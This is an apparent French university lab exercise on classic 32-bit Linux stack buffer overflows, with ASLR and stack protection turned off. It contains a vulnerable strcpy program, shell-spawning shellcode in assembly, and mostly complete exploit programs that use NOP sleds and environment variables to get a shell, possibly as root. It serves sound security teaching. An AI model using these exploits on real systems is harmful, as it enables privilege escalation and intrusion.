Stack Smashing

d'après les articles Smashing the Stack for Fun and Profit
et Buffer Overflows Demystified

Placez-vous dans un environnement Linux x86 32 bits avec pile exécutable (*executable stack*), sans ASLR (*Address Space Layout Randomization*) ni protection de pile (*canary*, ...). Par exemple sous Ubuntu :

```
$ sudo echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -z execstack program.c -o program
```

La première commande désactive l'ASLR ; il suffit de l'exécuter une seule fois au début du TP. La seconde sert à compiler `program.c` pour une architecture 32 bits (flag `-m32`), avec une pile exécutable (flag `-z execstack`) et sans protection (flag `-fno-stack-protector`) ; contrairement à la première commande, il faut l'exécuter à chaque fois que l'on souhaite compiler `program.c`.

1 Buffer overflow

Compilez le programme C suivant :

```
#include<string.h>

int main(int argc, char *argv[]) {
     char buffer[16];

     if (argc > 1)
          strcpy(buffer,argv[1]);

     return 0;
}
```

programme `exercice1.c`

Exécutez-le plusieurs fois en augmentant régulièrement la longueur de `argv[1]`. Par exemple :

```
etienne@debian3.1r5: ./exercice1 "AAAA"
etienne@debian3.1r5: ./exercice1 "AAAABBBB"
```

Que se passe t-il à partir d'une certaine longueur de `argv[1]` ? Faites un schema précis de la pile d'exécution qui explique ce qu'il se produit. Que se passe t-il si l'on utilise une version de GCC incluant un mécanisme de protection de la pile (par exemple GCC 4.2) ?

2 Modification de l'adresse de retour d'une fonction

On considère le squelette de programme suivant :

```
#include<stdio.h>

void f() {
   int *ret;

   ret = ...
   (*ret) += ...
}

int main() {
   int x;

   x = 0;
   f();
   x = 1;
   printf("x = %d\n", x);

   return 0;
}
```

programme `exercice2.c`

Le but de cet exercice est de compléter le code de la fonction `f` de sorte que lorsqu'elle s'exécute, elle modifie son adresse de retour pour sauter l'affectation `x = 1` dans le programme principal. L'instruction `printf` va alors écrire `0` (et non `1`).

1. Complétez l'affectation `ret = ...` de sorte que la variable `ret` contienne l'adresse où est stockée l'adresse de retour de `f`.
2. Complétez l'affectation `(*ret) += ...` de façon à incrémenter l'adresse de retour de `f` pour que l'instruction `x = 1` du programme principal ne soit pas exécutée. Vous pourrez utiliser l'outil `gdb` pour obtenir les adresses des instructions assembleur obtenues à partir du programme C.

3 Shell code

Le code assembleur suivant permet de lancer un shell :

`execve("/bin/sh",["/bin/sh",NULL],NULL)`	`xorl %eax, %eax`
	`pushl %eax`
	`pushl $0x68732f2f`
	`pushl $0x6e69622f`
	`movl %esp, %ebx`
	`pushl %eax`
	`pushl %ebx`
	`movl %esp, %ecx`
	`movl %eax, %edx`
	`movb $0xb, %al`
	`int $0x80`

`exit 0`	`xorl %ebx, %ebx`
	`movl %ebx, %eax`
	`inc %eax`
	`int $0x80`

1. Donnez une représentation hexadécimale du binaire correspondant à ce code assembleur ; vous pourrez encapsuler ce code assembleur dans un programme C nommé `exercice3-1.c` puis utiliser l'outil `gdb`.
2. Complétez le programme suivant pour que l'adresse de retour de la fonction `main` soit remplacée par l'adresse du tableau `shellcode` (tableau qui contient la représentation hexadéci-

male du binaire correspondant au code assembleur précédent). L'exécution de ce programme devra alors tout simplement lancer un shell.

```
char shellcode[] = ...représentation hexadécimale...;

int main() {
   int *ret;

   ret = ...;
   (*ret) = (int)shellcode;

   return 0;
}
```

programme `exercice3-2.c`

4 Exploitation d'un buffer overflow

Étant donné un programme P où un buffer overflow peut se produire, l'idée du stack smashing consiste à exploiter le buffer overflow pour forcer P à lancer un shell. Si P est exécuté en mode root, le shell sera lancé en mode root et le pirate fera alors ce qu'il voudra.

Compilez et exécutez le programme suivant puis expliquez en détail ce qu'il se produit :

```
#include<string.h>

char shellcode[] = ...représentation hexadécimale...;

char large_string[128];

int main() {
     char buffer[96];
     int i;
     long *long_ptr = (long*)large_string;

     for (i = 0; i < 128; i += 4)
          *(long_ptr++) = (int) buffer;

     for (i = 0; i < strlen(shellcode); i++)
          large_string[i] = shellcode[i];

     strcpy(buffer,large_string);

     return 0;
}
```

programme `attaque1.c`

Dans le programme `attaque1.c` ci-dessus, on connaît l'adresse du buffer que l'on attaque. Le problème que l'on rencontre lorsqu'on essaie d'attaquer le buffer d'un autre programme est de trouver à quelle adresse se trouve ce buffer. Supposons que le programme que l'on souhaite attaquer soit le suivant (cf. `exercice1.c` vu précédemment, avec un buffer un peu plus grand) :

```
#include<string.h>

int main(int argc, char *argv[]) {
     char buffer[512];

     if (argc > 1)
          strcpy(buffer,argv[1]);

     return 0;
}
```

programme `victime.c`

4.1 Deviner l'adresse du buffer attaqué

Dans les distributions Linux sans ASLR (*Address Space Layout Randomization*) la pile (stack) commence toujours à la même adresse.

1. Le programme suivant écrit l'adresse du début de sa pile. Compilez-le et exécutez-le plusieurs fois pour vérifier que la pile commence toujours à la même adresse.

```
#include<stdio.h>

unsigned long get_sp() {
       __asm__("movl %esp,%eax");
}

int main() {
     printf("0x%x\n", get_sp());
     return 0;
}
```

programme `sp.c`

2. L'idée de l'attaque consiste à écrire un programme qui va remplir (jusqu'à débordement) le buffer attaqué de façon à obtenir la situation suivante :

```
        ------------------------------
        v                             |
[NNNNNNNNNNNSSSSSSSSSAAAAAAAAAAA] [A] [A] AA...A
       buffer attaqué              sfp ret
```

`N` correspond à l'instruction `NOP` (Null OPeration), `S` correspond au shellcode et `A` est une adresse. Deviner l'adresse exacte du début du buffer attaqué est difficile et peut demander beaucoup d'essais. C'est pour cela que l'on place des `NOP` au début du buffer attaqué : si l'adresse `A` que l'on fournit n'est pas exactement celle du début du buffer mais celle d'une instruction `NOP`, le shellcode s'exécutera quand même.

Le programme attaquant `attaque2.c` est partiellement donné à la figure 1. Il construit un « œuf » qui sera fourni au programme `victime.c` pour provoquer un buffer overflow qui aura pour effet de lancer un shell. L'œuf est construit de la façon suivante : le shellcode au milieu, des `NOP` avant le shellcode et l'adresse `A` proposée après le shellcode. Le programme `attaque2.c` prend en paramètre la taille de l'œuf et un décalage d'adresse par rapport au début de la pile pour calculer `A`. Complétez les pointillés à la figure 1.

3. Utilisez `attaque2.c` pour attaquer `victime.c` et obtenir l'exécution d'un shell.

4.2 Utiliser une variable d'environnement

La méthode précédente peut nécessiter quelques essais avant de toucher au but. Une méthode plus précise consiste à utiliser les variables d'environnement. Dans les distributions Linux sans ASLR, l'espace mémoire (virtuel) associé à un exécutable se présente souvent de la façon suivante :

```
_____________________ 0xbfffffff
|\x00 \x00 \x00 \x00| 0xbffffffb (4 octets NULL)
|\x00 ..............| 0xbffffffa (1 octet NULL + nom du prog)
|...................|
|...................| envp[n]   = var. d'environnement n
|...................| envp[n-1] = var. d'environnement n-1
|...................|  ...
```

L'adresse `envn` de la dernière variable d'environnement est donc donnée par la formule :

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET    0
#define DEFAULT_EGG_SIZE  512
#define NOP               0x90

// execve + exit:
char shellcode[] = ...représentation hexadécimale...

unsigned long get_sp() {
  __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char *egg, *arg[3];
  long *long_ptr, A;
  int offset = DEFAULT_OFFSET,
    egg_size = DEFAULT_EGG_SIZE;
  int i, m;

  if (argc > 1) egg_size=atoi(argv[1]);
  if (argc > 2) offset=atoi(argv[2]);

  if (!(egg=malloc(egg_size))) {
    printf("Can't allocate memory!\n");
    exit(0);
  }

  A = get_sp() - offset;
  printf("Using address: 0x%x\n", A);

  //on remplit egg avec A:
  long_ptr = (long*) egg;
  for (i = ...; i < ...; ...)
    *(long_ptr++) = ...;
  // on remplit le début de egg avec des NOP:
  for (i = ...; i < ...; ...)
    egg[i] = ...;
  // on remplit le milieu de egg avec le shellcode:
  m = ...
  for (i = 0; i < strlen(shellcode); i++)
    egg[i+m] = ...;

  egg[egg_size - 1] = '\0';

  arg[0] = "./victime";
  arg[1] = egg;
  arg[2] = NULL;
  execve(arg[0], arg, NULL);

  return 0;
}
```

FIGURE 1 – programme `attaque2.c`

```
envn = 0xbfffffff -
       4 -                              (4 octets NULL)
       (1 + strlen(nom du prog)) -      (1 octet NULL + longueur nom du prog)
       strlen(envp[n])                  (longueur dernière var. d'environnement)

     = 0xbfffffa - strlen(nom du prog) - strlen(envp[n]).
```

L'idée est de placer le shellcode dans la dernière variable d'environnement. La formule précédente devient alors :

```
envn = 0xbfffffa - strlen(nom du prog) - strlen(shellcode).
```

Puis, on fait déborder le buffer attaqué en utilisant un œuf rempli avec `envn`.

Le programme `attaque3.c` (figure 2) implémente ce principe. Il prend en paramètre la taille de l'œuf ainsi qu'un entier servant à aligner l'adresse `envn` dans la case de la pile où est stockée l'adresse de retour que l'on souhaite modifier. Utilisez `attaque3.c` pour attaquer `victime.c` et obtenir l'exécution d'un shell.

5 Chaînes de format

Transparent 123 du cours de Patrick Ducrot : comprendre le programme et réaliser l'exploit.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEFAULT_EGG_SIZE    512
#define DEFAULT_ALIGNEMENT  0

// execve + exit:
char shellcode[] = ...représentation hexadécimale...

int main(int argc, char *argv[]) {
  int i,
    egg_size   = DEFAULT_EGG_SIZE,
    alignement = DEFAULT_ALIGNEMENT;

  char *env[2] = {shellcode, NULL};
  char *egg, *arg[3];
  long *long_ptr;
  int ret = 0xbffffffa - strlen(shellcode) - strlen("./victime");

  if (argc > 1) egg_size   = atoi(argv[1]);
  if (argc > 2) alignement = atoi(argv[2]);

  if (!(egg=malloc(egg_size))) {
    printf("Can't allocate memory for egg!\n");
    exit(0);
  }

  long_ptr = (long*) (egg + alignement);

  for (i = 0; i < egg_size; i += 4)
    *(long_ptr++) = ret;

  arg[0] = "./victime";
  arg[1] = egg;
  arg[2] = NULL;
  execve(arg[0], arg, env);

  return 0;
}
```

FIGURE 2 – programme `attaque3.c`